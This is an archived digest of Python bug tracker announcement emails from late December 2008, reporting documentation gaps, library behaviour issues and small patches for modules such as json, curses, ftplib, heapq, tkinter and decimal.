From: report at bugs.python.org (Ronald Oussoren)
Date: Tue, 30 Dec 2008 13:06:18 +0000
Subject: [New-bugs-announce] [issue4780] Makefile.pre.in patch to run regen
	on OSX (framework build)
In-Reply-To: <1230642378.46.0.486113805886.issue4780@psf.upfronthosting.co.za>
Message-ID: <1230642378.46.0.486113805886.issue4780@psf.upfronthosting.co.za>


New submission from Ronald Oussoren <ronaldoussoren at mac.com>:

I needed the attached patch to install a framework build of Python3 (py3k 
branch), otherwise the 'regen' script wouldn't start to build Lib/plat-
mac.

I haven't applied the patch to the repository because I don't know if 
there's a reason for not using RUNSHARED in the first place.

----------
components: Build
files: Makefile.pre.in.patch
keywords: needs review, patch, patch
messages: 78526
nosy: ronaldoussoren
priority: normal
severity: normal
status: open
title: Makefile.pre.in patch to run regen on OSX (framework build)
versions: Python 3.1
Added file: http://bugs.python.org/file12495/Makefile.pre.in.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4780>
_______________________________________

From report at bugs.python.org  Tue Dec 30 16:44:01 2008
From: report at bugs.python.org (Deli.Zhang)
Date: Tue, 30 Dec 2008 15:44:01 +0000
Subject: [New-bugs-announce] [issue4781] The function, Threading.Timer.run(),
	may be Inappropriate
In-Reply-To: <1230651841.99.0.415726342941.issue4781@psf.upfronthosting.co.za>
Message-ID: <1230651841.99.0.415726342941.issue4781@psf.upfronthosting.co.za>


New submission from Deli.Zhang <gestapo21th at 163.com>:

def run(self):
        self.finished.wait(self.interval)
        if not self.finished.isSet():
            self.function(*self.args, **self.kwargs)
        self.finished.set()

I think the function run() should be modified to like this below:

def run(self):
        while not self.finished.isSet():
            self.finished.wait(self.interval)
            self.function(*self.args, **self.kwargs)

In this case, it can still run on next 'interval', and next's next...

----------
components: Library (Lib)
messages: 78540
nosy: gestapo21th
severity: normal
status: open
title: The function, Threading.Timer.run(), may be Inappropriate
type: feature request
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4781>
_______________________________________

From report at bugs.python.org  Tue Dec 30 17:01:49 2008
From: report at bugs.python.org (David M. Beazley)
Date: Tue, 30 Dec 2008 16:01:49 +0000
Subject: [New-bugs-announce] [issue4782] json documentation missing load(),
	loads()
In-Reply-To: <1230652909.54.0.874688686508.issue4782@psf.upfronthosting.co.za>
Message-ID: <1230652909.54.0.874688686508.issue4782@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

Documentation for the json module in Python 2.6 and Python 3.0 doesn't 
have any description for load() or loads() even though both functions are 
used in the examples.

----------
assignee: georg.brandl
components: Documentation
messages: 78542
nosy: beazley, georg.brandl
severity: normal
status: open
title: json documentation missing load(), loads()
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4782>
_______________________________________

From report at bugs.python.org  Tue Dec 30 18:16:49 2008
From: report at bugs.python.org (David M. Beazley)
Date: Tue, 30 Dec 2008 17:16:49 +0000
Subject: [New-bugs-announce] [issue4783] json documentation needs a BAWM
	(Big A** Warning Message)
In-Reply-To: <1230657409.93.0.0443603821797.issue4783@psf.upfronthosting.co.za>
Message-ID: <1230657409.93.0.0443603821797.issue4783@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The json module is described as having an interface similar to pickle:
  
    json.dump()
    json.dumps()
    json.load()
    json.loads()

I think it would be a WISE idea to add a huge warning message to the 
documentation that these functions should *NOT* be used to serialize or 
unserialize multiple objects on the same file stream like pickle. For 
example:

    f = open("stuff","w")
    json.dump(obj1, f)
    json.dump(obj2, f)        # NO!  FLAMING DEATH!

    f = open("stuff","r")
    obj1 = json.load(f)  
    obj2 = json.load(f)       # NO!  EXTRA CRIPSY FLAMING DEATH!

For one, it doesn't work. load() actually reads the whole file into a 
big string and tries to parse it as a single object.  If there are 
multiple objects in the file, you get a nasty exeption.   Second, I'm 
not even sure this is technically allowed by the JSON spec.

As far as I call tell, concatenating JSON objects together in the same 
file falls into the same category as concatenating two HTML documents 
together in the same file (something you just don't do).

Related: json.load() should probably not be used on any streaming input 
source such as a file wrapped around a socket.  The first thing it does 
is consume the entire input by calling f.read()---which probably not 
what someone is expecting (and it might even cause the whole program to 
hang).

----------
assignee: georg.brandl
components: Documentation
messages: 78547
nosy: beazley, georg.brandl
severity: normal
status: open
title: json documentation needs a BAWM (Big A** Warning Message)
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4783>
_______________________________________

From report at bugs.python.org  Tue Dec 30 18:41:46 2008
From: report at bugs.python.org (Eric Naeseth)
Date: Tue, 30 Dec 2008 17:41:46 +0000
Subject: [New-bugs-announce] [issue4784] Mismatch in documentation for
	module "webbrowser"
In-Reply-To: <1230658906.5.0.498985661284.issue4784@psf.upfronthosting.co.za>
Message-ID: <1230658906.5.0.498985661284.issue4784@psf.upfronthosting.co.za>


New submission from Eric Naeseth <enaeseth at gmail.com>:

In Python 2.5, a new method named "open_new_tab" was added to webbrowser 
and webbrowser's browser controller objects. With this addition, there are 
now three methods on browser controllers, but the documentation still 
reads: "Browser controllers provide two methods which parallel *two* of 
the module-level convenience functions".

----------
assignee: georg.brandl
components: Documentation
messages: 78549
nosy: georg.brandl, improper_smile
severity: normal
status: open
title: Mismatch in documentation for module "webbrowser"
versions: Python 2.5, Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4784>
_______________________________________

From report at bugs.python.org  Tue Dec 30 18:42:14 2008
From: report at bugs.python.org (David M. Beazley)
Date: Tue, 30 Dec 2008 17:42:14 +0000
Subject: [New-bugs-announce] [issue4785] json.JSONDecoder() strict argument
	undocumented and potentially confusing
In-Reply-To: <1230658934.34.0.991784557371.issue4785@psf.upfronthosting.co.za>
Message-ID: <1230658934.34.0.991784557371.issue4785@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The strict parameter to JSONDecoder() is undocumented and is confusing 
because someone might assume it has something to do with the encoding 
parameter or the general handling of parsing errors (which it doesn't).

As far as I can determine by reading the source, strict determines 
whether or not JSON strings are allowed to contain literal newlines in 
them or not.  For example (note: loads() passes its parameters to 
JSONDecoder):

>>> s = '{"test":"Hello\nWorld"}'
>>> print(s)
{"test":"Hello
World"}
>>> json.loads(s)
Traceback (most recent call last):
...
  File "/tmp/lib/python3.0/json/decoder.py", line 159, in JSONString
    return scanstring(match.string, match.end(), encoding, strict)
ValueError: Invalid control character at: line 1 column 14 (char 14)

>>> json.loads(s,strict=False)
{'test': 'Hello\nWorld'}
>>> 

Note in this last example how the result has the literal newline 
embedded in it when strict is set False.

----------
assignee: georg.brandl
components: Documentation
messages: 78550
nosy: beazley, georg.brandl
severity: normal
status: open
title: json.JSONDecoder() strict argument undocumented and potentially confusing
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4785>
_______________________________________

From report at bugs.python.org  Tue Dec 30 22:53:00 2008
From: report at bugs.python.org (David M. Beazley)
Date: Tue, 30 Dec 2008 21:53:00 +0000
Subject: [New-bugs-announce] [issue4786] xml.etree.ElementTree module name
	in Python 3
In-Reply-To: <1230673980.62.0.10201205304.issue4786@psf.upfronthosting.co.za>
Message-ID: <1230673980.62.0.10201205304.issue4786@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

Not a bug, but a question to developers:

Is xml.etree.ElementTree going to be the only standard library module in 
Python 3.0 that doesn't follow the standard Python 3.0 module naming 
conventions? (e.g., socketserver, configparser, etc.).   Are there any 
plans to rename it to xml.etree.elementtree?

Just curious.

----------
components: Library (Lib)
messages: 78560
nosy: beazley
severity: normal
status: open
title: xml.etree.ElementTree module name in Python 3
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4786>
_______________________________________

From report at bugs.python.org  Tue Dec 30 23:57:42 2008
From: report at bugs.python.org (Damian)
Date: Tue, 30 Dec 2008 22:57:42 +0000
Subject: [New-bugs-announce] [issue4787] Curses Unicode Support
In-Reply-To: <1230677862.93.0.319255171122.issue4787@psf.upfronthosting.co.za>
Message-ID: <1230677862.93.0.319255171122.issue4787@psf.upfronthosting.co.za>


New submission from Damian <atagar1 at gmail.com>:

Hi, in switching to Python 3.0 I've run into an issue with displaying
Unicode characters via curses. In Python 2.x a simple hello-world looks
like:

#!/usr/bin/python
# coding=UTF-8

import curses
import locale

locale.setlocale(locale.LC_ALL,"")

def doStuff(stdscr):
  message = u"hello ???!"
  stdscr.addstr(0, 0, message.encode("utf-8"), curses.A_BLINK)
  stdscr.getch() # pauses until a key's hit

curses.wrapper(doStuff)

This works. However, when I try to come up with an equivalent for Python
3.0:

#!/usr/bin/python

import curses
import locale

locale.setlocale(locale.LC_ALL,"")

def doStuff(stdscr):
  message = "hello ???!"
  stdscr.addstr(0, 0, message, curses.A_BLINK)
  stdscr.getch() # pauses until a key's hit

curses.wrapper(doStuff)

It fails (printing gibberish to the console). It seems that the problem
is that the curses module isn't respecting the system's preferred
encoding (utf-8) which was set via the setlocale function (as per
instructions at
http://docs.python.org/dev/3.0/library/curses.html#module-curses).

My apologies in advance if this is my mistake. Cheers! -Damian

----------
components: Unicode
messages: 78563
nosy: atagar1
severity: normal
status: open
title: Curses Unicode Support
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4787>
_______________________________________

From report at bugs.python.org  Wed Dec 31 01:12:17 2008
From: report at bugs.python.org (Giampaolo Rodola')
Date: Wed, 31 Dec 2008 00:12:17 +0000
Subject: [New-bugs-announce] [issue4788] two bare "except" clauses are used
	in the ssl module
In-Reply-To: <1230682337.31.0.817794517816.issue4788@psf.upfronthosting.co.za>
Message-ID: <1230682337.31.0.817794517816.issue4788@psf.upfronthosting.co.za>


New submission from Giampaolo Rodola' <billiejoex at users.sourceforge.net>:

>From PEP-8:

> When catching exceptions, mention specific exceptions
> whenever possible instead of using a bare 'except:' clause.
> [...] 
> A bare 'except:' clause will catch SystemExit and KeyboardInterrupt
> exceptions, making it harder to interrupt a program with Control-C,
> and can disguise other problems.

The patch in attachment removes two bare "except" clauses used in ssl 
module.

----------
components: Library (Lib)
files: ssl.patch
keywords: patch
messages: 78575
nosy: giampaolo.rodola
severity: normal
status: open
title: two bare "except" clauses are used in the ssl module
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12499/ssl.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4788>
_______________________________________

From report at bugs.python.org  Wed Dec 31 01:37:47 2008
From: report at bugs.python.org (Mark Sapiro)
Date: Wed, 31 Dec 2008 00:37:47 +0000
Subject: [New-bugs-announce] [issue4789] Documentation changes break
	existing URIs
In-Reply-To: <1230683867.44.0.219209732128.issue4789@psf.upfronthosting.co.za>
Message-ID: <1230683867.44.0.219209732128.issue4789@psf.upfronthosting.co.za>


New submission from Mark Sapiro <mark at msapiro.net>:

The Mailman GUI contains a few links to the python.org documentation
which are now broken. These links and the current equivalents are:

http://www.python.org/doc/
    works, but could map to http://docs.python.org/
http://www.python.org/doc/current/
    works, but could map to http://docs.python.org/
http://www.python.org/doc/current/lib/
    -> http://docs.python.org/library/
http://www.python.org/doc/current/lib/module-re.htm
    -> http://docs.python.org/library/re.html
http://www.python.org/doc/current/lib/re-syntax
    -> http://docs.python.org/library/re.html#regular-expression-syntax
http://www.python.org/doc/current/lib/typesseq-strings.html
    ->
http://docs.python.org/library/stdtypes.html#string-formatting-operations

It would be really cool if these old URIs could redirect to the new ones.

----------
assignee: georg.brandl
components: Documentation
messages: 78583
nosy: barry, georg.brandl, msapiro
severity: normal
status: open
title: Documentation changes break existing URIs
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4789>
_______________________________________

From report at bugs.python.org  Wed Dec 31 02:07:20 2008
From: report at bugs.python.org (Nilton)
Date: Wed, 31 Dec 2008 01:07:20 +0000
Subject: [New-bugs-announce] [issue4790] Optimization to heapq module
In-Reply-To: <1230685640.21.0.309220494864.issue4790@psf.upfronthosting.co.za>
Message-ID: <1230685640.21.0.309220494864.issue4790@psf.upfronthosting.co.za>


New submission from Nilton <nilton at google.com>:

The wrapper around heapq.nlargest and heapq.nsmallest is much slower
than it's C version.

$ python2.5 -mtimeit -s 'import random; random.seed(123); n=999999;
x=range(n); random.shuffle(x); import _heapq' '_heapq.nlargest(3, x)'
10 loops, best of 3: 142 msec per loop

$ python2.5 -mtimeit -s 'import random; random.seed(123); n=999999;
x=range(n); random.shuffle(x); import heapq' 'heapq.nlargest(3, x)'
10 loops, best of 3: 685 msec per loop


If the key argument is None, there is no need to use the wrapper. This
patch adds an a check to avoid this.

----------
components: Library (Lib)
files: heapq_optimization.diff
keywords: patch
messages: 78584
nosy: nilton
severity: normal
status: open
title: Optimization to heapq module
versions: Python 2.5, Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12501/heapq_optimization.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4790>
_______________________________________

From report at bugs.python.org  Wed Dec 31 14:01:01 2008
From: report at bugs.python.org (Christopher Mahan)
Date: Wed, 31 Dec 2008 13:01:01 +0000
Subject: [New-bugs-announce] [issue4791] retrlines('LIST') and dir hang at
	end of listing in ftplib
In-Reply-To: <1230728461.13.0.270652897235.issue4791@psf.upfronthosting.co.za>
Message-ID: <1230728461.13.0.270652897235.issue4791@psf.upfronthosting.co.za>


New submission from Christopher Mahan <chris.mahan at gmail.com>:

The python program crashes (stops responding) both from the command line
and in IDLE (ver 3.0), after listing all the files in the approprate
directory, both with ftp.dir() and with ftp.retrlines('LIST') (see prog
listing below).

I have to close the window (both window shell and IDLE). No other key
combo responds.


Python env (from IDLE):
Python 3.0 (r30:67507, Dec  3 2008, 20:14:27) [MSC v.1500 32 bit
(Intel)] on win32

Program:

import ftplib

ftp = ftplib.FTP('ftp.edgecastcdn.net', user='theusername',
passwd='thepassword')
ftp.cwd('chrismahan-675')
ftp.dir()
#ftp.retrlines('LIST')
ftp.close()

The username and password are correct.
I am able to use the ftp resource with filezilla (3.1.6) with no problem.

This runs on a Windows Server 2003 Standard Edition, Service Pack 2.

This is also a completely clean install of Python 3.0. I installed it,
then wrote this program.

Python 2.5 is installed on this server and runs fine.

Any questions: chris.mahan at gmail.com

----------
components: Extension Modules
messages: 78603
nosy: chris.mahan
severity: normal
status: open
title: retrlines('LIST') and dir hang at end of listing in ftplib
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4791>
_______________________________________

From report at bugs.python.org  Wed Dec 31 16:29:58 2008
From: report at bugs.python.org (Guilherme Polo)
Date: Wed, 31 Dec 2008 15:29:58 +0000
Subject: [New-bugs-announce] [issue4792] PythonCmd in Modules/_tkinter.c
	should use the given "interp" parameter
In-Reply-To: <1230737398.34.0.470687906349.issue4792@psf.upfronthosting.co.za>
Message-ID: <1230737398.34.0.470687906349.issue4792@psf.upfronthosting.co.za>


New submission from Guilherme Polo <ggpolo at gmail.com>:

Right now PythonCmd is using the Tcl interpreter stored in self->interp,
but this is unsafe and since it is a Tcl_CmdProc it already receives the
Tcl interpreter as a parameter. Using the interpreter in self->interp is
unsafe because Python might deallocate this TkappObject and then
PythonCmd could be invoked later, and using the interpreter given to the
Tcl_CmdProc is guaranteed to be safe by Tcl.

To reproduce this I needed a debug build and also needed to run the
example below in the interpreter:

>>> import tkFileDialog
>>> tkFileDialog.askdirectory() # here I both windows, then:
>>> Segmentation fault

There are other ways to reproduce this but I can't remember them
offhand, I know there are other ways because I've hit this same problem
in another python <-> tcl bridge by doing something else.

The patch could be expanded to remove the use of "self" in
PythonCmd_Clientdata, but given another wish I have -- to move to
Tcl_CreateObjCommand -- self would be needed again.

----------
components: Tkinter
files: use_given_interp.diff
keywords: patch
messages: 78613
nosy: gpolo
severity: normal
status: open
title: PythonCmd in Modules/_tkinter.c should use the given "interp" parameter
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12505/use_given_interp.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4792>
_______________________________________

From report at bugs.python.org  Wed Dec 31 19:59:36 2008
From: report at bugs.python.org (Lenard Lindstrom)
Date: Wed, 31 Dec 2008 18:59:36 +0000
Subject: [New-bugs-announce] [issue4793] Glossary incorrectly describes a
	decorator as "merely syntactic sugar"
In-Reply-To: <1230749976.35.0.878652242005.issue4793@psf.upfronthosting.co.za>
Message-ID: <1230749976.35.0.878652242005.issue4793@psf.upfronthosting.co.za>


New submission from Lenard Lindstrom <len-l at telus.net>:

http://www.python.org/doc/2.6/glossary.html

The decorator entry in the Python 2.6 documentation incorrectly
describes a decorator as "merely syntactic sugar". It is not, as this
example shows:

>>> def decorator(f):
	f.prev = globals()[f.__name__]
	return f

>>> func = 0
>>> def func():
	pass

>>> func = decorator(func)
>>> func.prev
<function func at 0x00C748F0>
>>> func = 0
>>> @decorator
def func():
	pass

>>> func.prev
0

This distinction could be useful in building multi-methods, for example.

----------
assignee: georg.brandl
components: Documentation
messages: 78643
nosy: georg.brandl, kermode
severity: normal
status: open
title: Glossary incorrectly describes a decorator as "merely syntactic sugar"
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4793>
_______________________________________

From report at bugs.python.org  Wed Dec 31 20:34:46 2008
From: report at bugs.python.org (darrenr)
Date: Wed, 31 Dec 2008 19:34:46 +0000
Subject: [New-bugs-announce] [issue4794] garbage collector blocks and takes
	worst-case linear time wrt number of objects
In-Reply-To: <1230752086.58.0.537070994703.issue4794@psf.upfronthosting.co.za>
Message-ID: <1230752086.58.0.537070994703.issue4794@psf.upfronthosting.co.za>


New submission from darrenr <python-roundup at dranalli.com>:

Python's garbage collector holds GIL during collection and doesn't
provide any method of interruption or concurrency with other Python
threads within a single Python VM. This can be a problem for realtime
applications. The worst-case performance of the garbage collector takes
linear time with respect to the number of Python objects that could
potentially be involved in a garbage cycle. I've attached timings taken
on a Core 2 Quad 2.4 GHz (WinXP Pro, 3GB RAM), with ever-increasing
numbers of objects. The gc at worst takes upwards of 3 seconds before
the process runs out of memory.

If gc periodically released the GIL it would allow it to be put in a
separate thread, but as it stands it blocks the Python VM for periods of
time that are too long for realtime interactive applications.
Alternatively a gc that is incremental by default would eliminate the
need for a second thread.

----------
files: gctimings.zip
messages: 78646
nosy: darrenr
severity: normal
status: open
title: garbage collector blocks and takes worst-case linear time wrt number of objects
versions: Python 2.4, Python 2.6, Python 3.0
Added file: http://bugs.python.org/file12510/gctimings.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4794>
_______________________________________

From report at bugs.python.org  Wed Dec 31 23:47:07 2008
From: report at bugs.python.org (Steven D'Aprano)
Date: Wed, 31 Dec 2008 22:47:07 +0000
Subject: [New-bugs-announce] [issue4795] inspect.isgeneratorfunction
	inconsistent with other inspect functions
In-Reply-To: <1230763627.06.0.589317806347.issue4795@psf.upfronthosting.co.za>
Message-ID: <1230763627.06.0.589317806347.issue4795@psf.upfronthosting.co.za>


New submission from Steven D'Aprano <steve at pearwood.info>:

The inspect isSOMETHING() functions all return True or False, except 
for isgeneratorfunction(), which returns True or None.

The body of the function is very brief:

if (isfunction(object) or ismethod(object)) and \
        object.func_code.co_flags & CO_GENERATOR:
        return True

The behaviour can be made consistent with the other routines by either 
appending "else: return False", or changing the body to:

return bool(
  (isfunction(object) or ismethod(object)) and
   object.func_code.co_flags & CO_GENERATOR)

----------
components: Library (Lib)
messages: 78661
nosy: stevenjd
severity: normal
status: open
title: inspect.isgeneratorfunction inconsistent with other inspect functions
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4795>
_______________________________________

From report at bugs.python.org  Wed Dec 31 23:59:19 2008
From: report at bugs.python.org (Steven D'Aprano)
Date: Wed, 31 Dec 2008 22:59:19 +0000
Subject: [New-bugs-announce] [issue4796] Decimal to receive from_float method
In-Reply-To: <1230764359.55.0.955763939043.issue4796@psf.upfronthosting.co.za>
Message-ID: <1230764359.55.0.955763939043.issue4796@psf.upfronthosting.co.za>


New submission from Steven D'Aprano <steve at pearwood.info>:

In the PEP for Decimal, it was discussed that the class should have a 
from_float() method for converting from floats, but to leave it out of 
the Python 2.4 version:
http://www.python.org/dev/peps/pep-0327/#from-float

Following discussions with Mark Dickinson, I would like to request 
that this now be implemented.

The suggested API is:
Decimal.from_float(floatNumber, [decimal_places])

At the risk of derailing the request, I wonder whether it is better to 
give a context rather than a number of decimal places?

Pro: better control over conversion, as you can specify rounding 
method as well as number of decimal places.

Con: more difficult for newbies to understand.

Semi-pro: float to decimal conversions are inherently tricky, perhaps 
we should be discouraging newbies from blindly calling from_float() 
and make the (hypothetical) context argument mandatory rather than 
optional?

----------
components: Library (Lib)
messages: 78664
nosy: stevenjd
severity: normal
status: open
title: Decimal to receive from_float method
type: feature request

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4796>
_______________________________________